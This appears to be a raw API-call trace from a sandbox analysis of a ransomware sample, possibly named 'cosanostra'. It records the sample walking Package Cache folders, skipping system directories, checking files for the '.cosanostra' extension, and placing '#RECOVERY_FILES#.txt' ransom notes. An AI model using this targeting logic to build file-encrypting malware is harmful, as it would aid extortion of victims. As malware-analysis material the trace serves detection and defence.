[0082.199] lstrcmpiW (lpString1="packages", lpString2="$Recycle.bin") returned 1 [0082.199] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.199] lstrcmpiW (lpString1="packages", lpString2="System Volume Information") returned -1 [0082.199] lstrlenW (lpString="System Volume Information") returned 25 [0082.199] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.199] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.201] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.201] lstrlenW (lpString="Windows") returned 7 [0082.201] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.201] lstrlenW (lpString="Program Files") returned 13 [0082.201] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.201] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.201] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.201] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.201] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.201] lstrlenW (lpString="System Volume Information") returned 25 [0082.201] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.201] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.201] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.201] lstrlenW (lpString="Windows") returned 7 [0082.201] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.201] lstrlenW (lpString="Program Files") returned 13 [0082.201] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.201] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.201] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.201] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.201] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.201] lstrlenW (lpString="System Volume Information") returned 25 [0082.201] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.201] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.201] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.201] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="Windows") returned -1 [0082.201] lstrlenW (lpString="Windows") returned 7 [0082.201] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="Program Files") returned 1 [0082.201] lstrlenW (lpString="Program Files") returned 13 [0082.201] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="Program Files (x86)") returned 1 [0082.201] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.201] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="$Recycle.bin") returned 1 [0082.201] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.201] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="System Volume Information") returned 1 [0082.201] lstrlenW (lpString="System Volume Information") returned 25 [0082.201] lstrcmpW (lpString1="vcRuntimeMinimum_x86", lpString2=".") returned 1 [0082.202] lstrcmpW (lpString1="vcRuntimeMinimum_x86", lpString2="..") returned 1 [0082.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.203] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.203] lstrlenW (lpString="Windows") returned 7 [0082.203] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.203] lstrlenW (lpString="Program Files") returned 13 [0082.203] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.203] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.203] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.203] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.203] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.203] lstrlenW (lpString="System Volume Information") returned 25 [0082.205] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.206] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.206] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.207] lstrlenW (lpString="Windows") returned 7 [0082.207] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.207] lstrlenW (lpString="Program Files") returned 13 [0082.207] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.207] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.207] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.207] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.207] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.207] lstrlenW (lpString="System Volume Information") returned 25 [0082.207] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.207] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.207] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.207] lstrcmpiW (lpString1="cab1.cab", lpString2="Windows") returned -1 [0082.207] lstrlenW (lpString="Windows") returned 7 [0082.207] lstrcmpiW (lpString1="cab1.cab", lpString2="Program Files") returned -1 [0082.207] lstrlenW (lpString="Program Files") returned 13 [0082.207] lstrcmpiW (lpString1="cab1.cab", lpString2="Program Files (x86)") returned -1 [0082.207] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.207] lstrcmpiW (lpString1="cab1.cab", lpString2="$Recycle.bin") returned 1 [0082.207] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.207] lstrcmpiW (lpString1="cab1.cab", lpString2="System Volume Information") returned -1 [0082.207] lstrlenW (lpString="System Volume Information") returned 25 [0082.207] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.207] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.207] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.207] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 121 [0082.207] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.207] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="Windows") returned -1 [0082.207] lstrlenW (lpString="Windows") returned 7 [0082.207] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="Program Files") returned 1 [0082.207] lstrlenW (lpString="Program Files") returned 13 [0082.207] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="Program Files (x86)") returned 1 [0082.207] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.207] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="$Recycle.bin") returned 1 [0082.207] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.207] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="System Volume Information") returned 1 [0082.207] lstrlenW (lpString="System Volume Information") returned 25 [0082.207] StrStrIW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch=".cosanostra") returned 0x0 [0082.207] lstrcmpW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.207] lstrcmpW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="_uninstalling_.png") returned 1 [0082.208] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 138 [0082.208] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0082.208] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0082.208] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\#RECOVERY_FILES#.txt") returned 133 [0082.208] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\#RECOVERY_FILES#.txt") returned 133 [0082.208] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0082.208] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0082.208] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.208] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.209] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0082.209] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0082.209] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\#RECOVERY_FILES#.txt") returned 103 [0082.209] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\#RECOVERY_FILES#.txt") returned 103 [0082.209] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0082.209] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="Windows") returned -1 [0082.209] lstrlenW (lpString="Windows") returned 7 [0082.209] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="Program Files") returned -1 [0082.209] lstrlenW (lpString="Program Files") returned 13 [0082.209] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="Program Files (x86)") returned -1 [0082.209] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.209] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="$Recycle.bin") returned 1 [0082.209] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.209] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="System Volume Information") returned -1 [0082.209] lstrlenW (lpString="System Volume Information") returned 25 [0082.209] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2=".") returned 1 [0082.209] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="..") returned 1 [0082.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.210] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.210] lstrlenW (lpString="Windows") returned 7 [0082.210] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.210] lstrlenW (lpString="Program Files") returned 13 [0082.210] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.211] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.211] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.211] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.211] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.211] lstrlenW (lpString="System Volume Information") returned 25 [0082.211] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.211] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.211] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.211] lstrlenW (lpString="Windows") returned 7 [0082.211] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.211] lstrlenW (lpString="Program Files") returned 13 [0082.211] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.211] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.211] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.211] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.211] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.211] lstrlenW (lpString="System Volume Information") returned 25 [0082.211] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.211] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.211] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.211] lstrcmpiW (lpString1="state.rsm", lpString2="Windows") returned -1 [0082.211] lstrlenW (lpString="Windows") returned 7 [0082.211] lstrcmpiW (lpString1="state.rsm", lpString2="Program Files") returned 1 [0082.211] lstrlenW (lpString="Program Files") returned 13 [0082.211] lstrcmpiW (lpString1="state.rsm", lpString2="Program Files (x86)") returned 1 [0082.211] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.211] lstrcmpiW (lpString1="state.rsm", lpString2="$Recycle.bin") returned 1 [0082.211] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.211] lstrcmpiW (lpString1="state.rsm", lpString2="System Volume Information") returned -1 [0082.211] lstrlenW (lpString="System Volume Information") returned 25 [0082.211] StrStrIW (lpFirst="state.rsm", lpSrch=".cosanostra") returned 0x0 [0082.212] lstrcmpW (lpString1="state.rsm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.212] lstrcmpW (lpString1="state.rsm", lpString2="_uninstalling_.png") returned 1 [0082.212] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned 81 [0082.212] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.212] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="Windows") returned -1 [0082.212] lstrlenW (lpString="Windows") returned 7 [0082.212] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="Program Files") returned 1 [0082.212] lstrlenW (lpString="Program Files") returned 13 [0082.212] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="Program Files (x86)") returned 1 [0082.212] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.212] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="$Recycle.bin") returned 1 [0082.212] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.212] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="System Volume Information") returned 1 [0082.212] lstrlenW (lpString="System Volume Information") returned 25 [0082.212] StrStrIW (lpFirst="vcredist_x64.exe", lpSrch=".cosanostra") returned 0x0 [0082.212] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.212] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="_uninstalling_.png") returned 1 [0082.212] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned 88 [0082.212] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0082.212] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0082.212] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\#RECOVERY_FILES#.txt") returned 92 [0082.212] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\#RECOVERY_FILES#.txt") returned 92 [0082.212] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0082.212] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="Windows") returned -1 [0082.213] lstrlenW (lpString="Windows") returned 7 [0082.213] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="Program Files") returned -1 [0082.213] lstrlenW (lpString="Program Files") returned 13 [0082.213] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="Program Files (x86)") returned -1 [0082.213] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.213] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="$Recycle.bin") returned 1 [0082.213] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.213] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="System Volume Information") returned -1 [0082.213] lstrlenW (lpString="System Volume Information") returned 25 [0082.213] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2=".") returned 1 [0082.213] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="..") returned 1 [0082.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.244] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.244] lstrlenW (lpString="Windows") returned 7 [0082.244] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.244] lstrlenW (lpString="Program Files") returned 13 [0082.244] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.244] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.244] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.244] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.244] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.244] lstrlenW (lpString="System Volume Information") returned 25 [0082.244] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.244] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.244] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.244] lstrlenW (lpString="Windows") returned 7 [0082.244] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.244] lstrlenW (lpString="Program Files") returned 13 [0082.244] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.244] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.244] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.244] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.244] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.244] lstrlenW (lpString="System Volume Information") returned 25 [0082.244] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.244] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.244] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.244] lstrcmpiW (lpString1="packages", lpString2="Windows") returned -1 [0082.244] lstrlenW (lpString="Windows") returned 7 [0082.244] lstrcmpiW (lpString1="packages", lpString2="Program Files") returned -1 [0082.245] lstrlenW (lpString="Program Files") returned 13 [0082.245] lstrcmpiW (lpString1="packages", lpString2="Program Files (x86)") returned -1 [0082.245] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.245] lstrcmpiW (lpString1="packages", lpString2="$Recycle.bin") returned 1 [0082.245] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.245] lstrcmpiW (lpString1="packages", lpString2="System Volume Information") returned -1 [0082.245] lstrlenW (lpString="System Volume Information") returned 25 [0082.245] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0082.245] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0082.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.245] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.245] lstrlenW (lpString="Windows") returned 7 [0082.245] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.245] lstrlenW (lpString="Program Files") returned 13 [0082.245] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.245] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.245] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.245] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.245] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.245] lstrlenW (lpString="System Volume Information") returned 25 [0082.245] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.245] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.245] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.245] lstrlenW (lpString="Windows") returned 7 [0082.245] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.245] lstrlenW (lpString="Program Files") returned 13 [0082.245] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.245] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.245] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.245] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.245] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.245] lstrlenW (lpString="System Volume Information") returned 25 [0082.245] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.246] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.246] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.246] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="Windows") returned -1 [0082.246] lstrlenW (lpString="Windows") returned 7 [0082.246] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="Program Files") returned 1 [0082.246] lstrlenW (lpString="Program Files") returned 13 [0082.246] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="Program Files (x86)") returned 1 [0082.246] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.246] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="$Recycle.bin") returned 1 [0082.246] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.246] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="System Volume Information") returned 1 [0082.246] lstrlenW (lpString="System Volume Information") returned 25 [0082.246] lstrcmpW (lpString1="vcRuntimeMinimum_amd64", lpString2=".") returned 1 [0082.246] lstrcmpW (lpString1="vcRuntimeMinimum_amd64", lpString2="..") returned 1 [0082.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.247] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0082.247] lstrlenW (lpString="Windows") returned 7 [0082.247] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0082.247] lstrlenW (lpString="Program Files") returned 13 [0082.247] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0082.247] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.247] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0082.247] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.247] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0082.247] lstrlenW (lpString="System Volume Information") returned 25 [0082.247] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.247] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.247] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0082.247] lstrlenW (lpString="Windows") returned 7 [0082.247] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0082.247] lstrlenW (lpString="Program Files") returned 13 [0082.247] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0082.247] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.247] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0082.247] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.247] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0082.247] lstrlenW (lpString="System Volume Information") returned 25 [0082.247] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.247] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.247] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.247] lstrcmpiW (lpString1="cab1.cab", lpString2="Windows") returned -1 [0082.247] lstrlenW (lpString="Windows") returned 7 [0082.247] lstrcmpiW (lpString1="cab1.cab", lpString2="Program Files") returned -1 [0082.248] lstrlenW (lpString="Program Files") returned 13 [0082.248] lstrcmpiW (lpString1="cab1.cab", lpString2="Program Files (x86)") returned -1 [0082.248] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.248] lstrcmpiW (lpString1="cab1.cab", lpString2="$Recycle.bin") returned 1 [0082.248] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.248] lstrcmpiW (lpString1="cab1.cab", lpString2="System Volume Information") returned -1 [0082.248] lstrlenW (lpString="System Volume Information") returned 25 [0082.248] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.248] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.248] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.248] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 123 [0082.248] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.248] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="Windows") returned -1 [0082.248] lstrlenW (lpString="Windows") returned 7 [0082.248] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="Program Files") returned 1 [0082.248] lstrlenW (lpString="Program Files") returned 13 [0082.248] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="Program Files (x86)") returned 1 [0082.248] lstrlenW (lpString="Program Files (x86)") returned 19 [0082.248] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="$Recycle.bin") returned 1 [0082.248] lstrlenW (lpString="$Recycle.bin") returned 12 [0082.248] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="System Volume Information") returned 1 [0082.249] lstrlenW (lpString="System Volume Information") returned 25 [0082.249] StrStrIW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch=".cosanostra") returned 0x0 [0082.249] lstrcmpW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.249] lstrcmpW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="_uninstalling_.png") returned 1 [0082.249] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 140 [0082.249] FindNextFileW (in: hFindFile=0x25a870, 